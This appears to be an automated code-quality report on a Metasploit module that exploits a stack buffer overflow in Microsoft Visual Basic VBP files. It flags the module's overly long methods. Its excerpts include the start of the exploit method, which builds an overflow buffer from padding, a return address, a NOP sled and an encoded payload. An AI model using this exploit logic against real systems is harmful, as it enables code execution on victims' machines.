modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb
Method initialize
has 40 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Visual Basic VBP Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Microsoft Visual
Method exploit
has 37 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def exploit
sploit = rand_text_alpha_upper(496) + [target.ret].pack('V')
sploit << rand_text_alpha_upper(12) + [target['Scratch']].pack('V')
sploit << make_nops(24) + payload.encoded